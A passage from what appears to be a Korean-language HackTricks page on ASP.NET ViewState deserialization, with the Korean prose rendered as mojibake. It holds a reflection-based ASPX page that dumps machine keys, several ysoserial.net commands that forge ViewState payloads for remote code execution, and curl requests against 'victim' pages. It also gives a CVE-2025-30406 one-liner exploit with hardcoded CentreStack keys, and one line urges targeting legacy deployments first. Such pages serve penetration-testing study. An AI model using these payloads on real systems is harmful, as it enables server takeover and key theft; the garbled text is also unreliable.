Test Case 6 โ€“ ViewStateUserKeys is being used

ViewStateUserKey ์†์„ฑ์€ CSRF attack์— ๋Œ€ํ•ด ๋ฐฉ์–ดํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ํ•ด๋‹น ํ‚ค๊ฐ€ ์ •์˜๋˜์–ด ์žˆ๊ณ  ์ง€๊ธˆ๊นŒ์ง€ ๋…ผ์˜ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ViewState payload๋ฅผ ์ƒ์„ฑํ•˜๋ ค๊ณ  ํ•˜๋ฉด, payload๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
์˜ฌ๋ฐ”๋ฅด๊ฒŒ payload๋ฅผ ์ƒ์„ฑํ•˜๋ ค๋ฉด ํ•˜๋‚˜์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋” ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

--viewstateuserkey="randomstringdefinedintheserver"

์„ฑ๊ณต์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡์˜ ๊ฒฐ๊ณผ

๋ชจ๋“  ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค์—์„œ ViewState YSoSerial.Net payload๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ๋™์ž‘ํ•˜๋ฉด ์„œ๋ฒ„๋Š” โ€œ500 Internal server errorโ€๋ฅผ ์‘๋‹ตํ•˜๊ณ  ์‘๋‹ต ๋‚ด์šฉ์œผ๋กœ โ€œThe state information is invalid for this page and might be corruptedโ€๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉฐ OOB request๋ฅผ ๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ •๋ณด๋Š” ์—ฌ๊ธฐ๋ฅผ ํ™•์ธํ•˜์„ธ์š”

๋ฆฌํ”Œ๋ ‰์…˜์„ ํ†ตํ•œ ASP.NET Machine Keys ๋คํ•‘ (SharPyShell/SharePoint ToolShell)

ํƒ€๊นƒ ์›น ๋ฃจํŠธ ๋‚ด์— ์ž„์˜์˜ ASPX ์ฝ”๋“œ๋ฅผ ์—…๋กœ๋“œํ•˜๊ฑฐ๋‚˜ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” bruteforcing ํ•˜๋Š” ๋Œ€์‹  __VIEWSTATE๋ฅผ ๋ณดํ˜ธํ•˜๋Š” ๋น„๋ฐ€ ํ‚ค๋ฅผ ์ง์ ‘ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ‚ค๋ฅผ leaksํ•˜๋Š” ์ตœ์†Œํ•œ์˜ payload๋Š” ๋ฆฌํ”Œ๋ ‰์…˜์„ ํ†ตํ•ด ๋‚ด๋ถ€ .NET ํด๋ž˜์Šค๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

ํŽ˜์ด์ง€๋ฅผ ์š”์ฒญํ•˜๋ฉด ValidationKey, DecryptionKey, ์•”ํ˜ธํ™” ์•Œ๊ณ ๋ฆฌ์ฆ˜๊ณผ ASP.NET ํ˜ธํ™˜ ๋ชจ๋“œ๊ฐ€ ์ถœ๋ ฅ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ’๋“ค์€ ์ด์ œ ysoserial.net์— ๋ฐ”๋กœ ์ž…๋ ฅ๋˜์–ด ์œ ํšจํ•œ ์„œ๋ช…๋œ __VIEWSTATE ๊ฐ€์ ฏ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

์ด key-exfiltration primitive๋Š” 2025๋…„์— on-prem SharePoint ์„œ๋ฒ„๋“ค์„ ๋Œ€์ƒ์œผ๋กœ ๋Œ€๊ทœ๋ชจ๋กœ ์•…์šฉ๋˜์—ˆ์ง€๋งŒ(โ€œToolShellโ€ โ€“ CVE-2025-53770/53771), ๊ณต๊ฒฉ์ž๊ฐ€ ์„œ๋ฒ„ ์ธก ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ASP.NET ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค.

2024-2025 ์‹ค์ œ ์•…์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค ๋ฐ ํ•˜๋“œ์ฝ”๋”ฉ๋œ Machine Keys

Microsoft โ€œpublicly disclosed machine keysโ€ wave (Dec 2024 โ€“ Feb 2025)

Microsoft Threat Intelligence๋Š” machineKey๊ฐ€ previously leaked on public sources (GitHub gists, blog posts, paste sites) ๋˜์–ด ์žˆ๋˜ ASP.NET ์‚ฌ์ดํŠธ๋“ค์ด ๋Œ€๊ทœ๋ชจ๋กœ ์•…์šฉ๋˜์—ˆ๋‹ค๊ณ  ๋ณด๊ณ ํ–ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋“ค์€ ์ด ํ‚ค๋“ค์„ ์—ด๊ฑฐํ•˜์—ฌ ์œ ํšจํ•œ __VIEWSTATE gadgets๋ฅผ ์ตœ์‹  ysoserial.net 1.41์˜ --minify ๋ฐ --islegacy ํ”Œ๋ž˜๊ทธ๋กœ ์ƒ์„ฑํ•ด WAF ๊ธธ์ด ์ œํ•œ์„ ํšŒํ”ผํ–ˆ๋‹ค:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

์„œ๋ฒ„ ํŒœ ์ „๋ฐ˜์—์„œ ๋™์ผํ•œ ์ •์  ํ‚ค๋ฅผ ๊ณ„์† ์žฌ์‚ฌ์šฉํ•˜๋Š” ๋Œ€์ƒ์€ ๋ฌด๊ธฐํ•œ์œผ๋กœ ์ทจ์•ฝ ์ƒํƒœ๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค; ์ผ๋‹จ AutoGenerate ๊ฐ’์œผ๋กœ ์ „ํ™˜ํ•˜๋ฉด spray technique์ด ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ, ํ•˜๋“œ์ฝ”๋”ฉ๋œ ์ž๋ฃŒ๋ฅผ ์—ฌ์ „ํžˆ ๋…ธ์ถœํ•˜๋Š” ๋ ˆ๊ฑฐ์‹œ ๋ฐฐํฌ๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ๊ณต๋žตํ•˜์„ธ์š”.

CVE-2025-30406 โ€“ Gladinet CentreStack / Triofox ํ•˜๋“œ์ฝ”๋”ฉ๋œ ํ‚ค

Kudelski Security๋Š” ์—ฌ๋Ÿฌ CentreStack / Triofox ๋ฆด๋ฆฌ์Šค๊ฐ€ ๋™์ผํ•œ machineKey ๊ฐ’์„ ํฌํ•จํ•˜์—ฌ ๋ฐฐํฌ๋˜์—ˆ์Œ์„ ๋ฐํ˜€๋ƒˆ๊ณ , ์ด๋Š” ViewState forgery๋ฅผ ํ†ตํ•ด ์ธ์ฆ๋˜์ง€ ์•Š์€ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค (CVE-2025-30406).

One-liner exploit:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372์—์„œ ์ˆ˜์ •๋จ โ€” ์ฆ‰์‹œ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ฑฐ๋‚˜ ํ‚ค๋ฅผ ๊ต์ฒดํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ